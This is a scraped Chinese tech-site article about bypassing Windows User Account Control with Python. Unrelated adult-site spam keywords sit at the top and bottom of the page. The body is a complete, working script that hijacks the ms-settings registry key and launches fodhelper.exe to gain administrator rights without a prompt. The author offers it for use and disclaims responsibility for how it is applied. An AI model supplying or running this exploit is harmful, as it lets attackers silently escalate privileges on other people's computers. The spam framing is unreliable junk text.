在线观看www成人影院-在线观看www日本免费网站-在线观看www视频-在线观看操-欧美18在线-欧美1级

0
  • 聊天消息
  • 系統消息
  • 評論與回復
登錄后你可以
  • 下載海量資料
  • 學習在線課程
  • 觀看技術視頻
  • 寫文章/發帖/加入社區
會員中心
創作中心

完善資料讓更多小伙伴認識你,還能領取20積分哦,立即完善>

3天內不再提示

python如何輕松繞過UAC

電子設計 ? 2018-10-12 11:05 ? 次閱讀

很多時候我們不希望我們的軟件彈出UAC提示,這個時候我們可以通過注冊表的方法去解決。這其實已經不在是一個安全的編程了,它變成了一把雙刃劍。

當然我們只是討論這種問題該怎么解決。具體用在什么方面那是你的問題咯!

通過下面的代碼我們可以輕松繞過UAC:

# -*- coding: utf-8 -*-

“”“

Created on Mon Jan 8 09:09:51 2018

@author: coordinate

”“”

from __future__ import print_function

import os

import sys

import ctypes

if sys.version_info[0] == 3:

import winreg as winreg

else:

import _winreg as winreg

CMD = r“C:\Windows\System32\cmd.exe”

FOD_HELPER = r‘C:\Windows\System32\fodhelper.exe’

PYTHON_CMD = “python”

REG_PATH = ‘Software\Classes\ms-settings\shell\open\command’

DELEGATE_EXEC_REG_KEY = ‘DelegateExecute’

def is_admin():

‘’‘

Checks if the script is running with administrative privileges.

Returns True if is running as admin, False otherwise.

’‘’

try:

return ctypes.windll.shell32.IsUserAnAdmin()

except:

return False

def create_reg_key(key, value):

‘’‘

Creates a reg key

’‘’

try:

winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)

registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)

winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)

winreg.CloseKey(registry_key)

except WindowsError:

raise

def bypass_uac(cmd):

‘’‘

Tries to bypass the UAC

’‘’

try:

create_reg_key(DELEGATE_EXEC_REG_KEY, ‘’)

create_reg_key(None, cmd)

except WindowsError:

raise

def execute():

if not is_admin():

print(‘[!] The script is NOT running with administrative privileges’)

print(‘[+] Trying to bypass the UAC’)

try:

current_dir = __file__

cmd = ‘{} /k {} {}’.format(CMD, PYTHON_CMD, current_dir)

bypass_uac(cmd)

os.system(FOD_HELPER)

sys.exit(0)

except WindowsError:

sys.exit(1)

else:

#這里添加我們需要管理員權限的代碼

print(‘[+] The script is running with administrative privileges!’)

if __name__ == ‘__main__’:

execute()

---------------------

其實我們這個代碼這里主要是往注冊表中添加了這兩項

聲明:本文內容及配圖由入駐作者撰寫或者入駐合作網站授權轉載。文章觀點僅代表作者本人,不代表電子發燒友網立場。文章及其配圖僅供工程師學習之用,如有內容侵權或者其他違規問題,請聯系本站處理。 舉報投訴
  • python
    +關注

    關注

    56

    文章

    4799

    瀏覽量

    84820
收藏 人收藏

    評論

    相關推薦

    請問UAC2.0和UAC3.0有什么區別?

    請教下大家,目前Windows 最高只支持UAC2.0,網上了解到一些信息UAC3.0不向下兼容。那3.0和2.0的差異在哪里呢? 了解到UAC3.0比UAC 2.0降低90%的功耗
    發表于 01-24 08:11

    有關UAC 3556B

    我使用UAC 3556B 聲卡,我的麥怎么無法錄音但是我的耳機能聽歌曲 求指點迷津 急急急 加急
    發表于 07-31 18:33

    Python Editor如何輕松玩轉MicroPython?

    新手編程錯誤的編輯器,基于TPYBoard系列開發板的Micropython語言編輯器--Python Editor。 首先看一下python editor的編程界面:編程界面功能介紹,下文我會
    發表于 06-04 14:36

    請問為什么當UAC設備記錄和播放時,噪聲會定期發生?

    為什么當UAC設備記錄和播放時,噪聲會定期發生?
    發表于 12-25 07:15

    RK3308 Linux UAC與ADB復合怎么才可以同時使用?

    RK3308 Linux UAC與ADB復合怎么才可以同時使用?
    發表于 03-09 06:10

    RK3308如何開啟UAC功能?

    RK3308如何開啟UAC功能?
    發表于 03-09 07:58

    基于Linux內核的Rockchip USB Gadget UAC開發資料分享

    1、Rockchip USB Gadget UAC開發步驟本文檔提供 Rockchip 平臺基于 Linux 內核的 USB Gadget UAC(USB Audio Class)驅動的使用方法
    發表于 08-10 16:03

    介紹Python 3 的功能 讓人輕松地從Python 2遷移到Python 3

    為了使初學者能夠輕松地從 Python 2 向 Python 3 實現遷移,我收集了一些 Python 3 的功能,希望對大家有所幫助。
    的頭像 發表于 01-31 15:11 ?4520次閱讀

    win7如何關閉uac,詳細步驟的介紹

    win7系統的穩定性,兼容性,安全性一直讓大家稱贊,其實是因為它的背后有很多小功能在支持。其中就有一個uac功能,它通過限制應用軟件而改進win7系統的安全性。但是有利就有弊,安裝軟件時它總是彈出
    發表于 03-24 17:28 ?1606次閱讀

    繞過kernel模塊版本校驗檢測

    繞過kernel模塊版本校驗檢測
    發表于 10-28 11:07 ?0次下載

    如何通過python輕松處理大文件

    眾所周知,python除了以簡潔著稱,其成熟的第三方庫功能也是很強大的,今天浩道帶大家看看如何通過python輕松處理大文件,真讓人直呼yyds 。
    的頭像 發表于 04-27 10:54 ?887次閱讀

    Android App開發新選擇:使用Chaquopy輕松結合Python

    。Chaquopy是一個可以幫助開發者在Android App中輕松使用Python代碼的工具。本文將介紹如何安裝Chaquopy,讓你的Android App更加強大。
    的頭像 發表于 04-25 20:29 ?2248次閱讀
    Android App開發新選擇:使用Chaquopy<b class='flag-5'>輕松</b>結合<b class='flag-5'>Python</b>

    使用Teachable Machine和Python輕松進行對象檢測

    電子發燒友網站提供《使用Teachable Machine和Python輕松進行對象檢測.zip》資料免費下載
    發表于 06-27 09:26 ?0次下載
    使用Teachable Machine和<b class='flag-5'>Python</b><b class='flag-5'>輕松</b>進行對象檢測

    PyJNIus:在Python輕松調用Java方法

    PyJNIus 是一個神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問的Python模塊。 如果你需要在Python中使用Java 類,這個
    的頭像 發表于 10-30 11:32 ?933次閱讀

    PyJNIus :讓你在Python輕松調用Java方法

    PyJNIus 是一個神奇的 Python 第三方模塊。它能使用Java本地接口將Java類作為Python類訪問的Python模塊。 如果你需要在Python中使用Java 類,這個
    的頭像 發表于 11-01 10:45 ?860次閱讀
    主站蜘蛛池模板: 天天摸日日添狠狠添婷婷| 天堂最新版在线地址| 色多视频| 亚洲视屏一区| 女女色综合影院| 欧美大黄| 99福利| 黄网在线观看| 人碰人操| 伊人成综合| 中文字幕v视界影院| 91在线电影| 天天射日日干| 久久精品国产精品亚洲红杏| 怡红院影院| 午夜大片免费完整在线看| 成人国产精品毛片| 综合网在线观看| 手机看高清特黄a大片| 福利久久| 免费一区在线观看| 午夜免费福利片| 亚洲第一伊人| 日本a级在线| 国产一级毛片外aaaa| 午夜毛片网站| 天天射久久| 成人综合在线视频| 午夜在线播放视频在线观看视频| 天天爽天天狼久久久综合| 国产高清a| 日本不卡视频免费的| 性性性性bbbbxxxx| 亚洲一区二区三区播放在线| 中文天堂最新版在线中文 | 白丝丝袜高跟国产在线视频| 天天干天天添| 黄网站播放| 婷婷综合久久中文字幕| 黄色片免费看视频| 日本一本高清视频|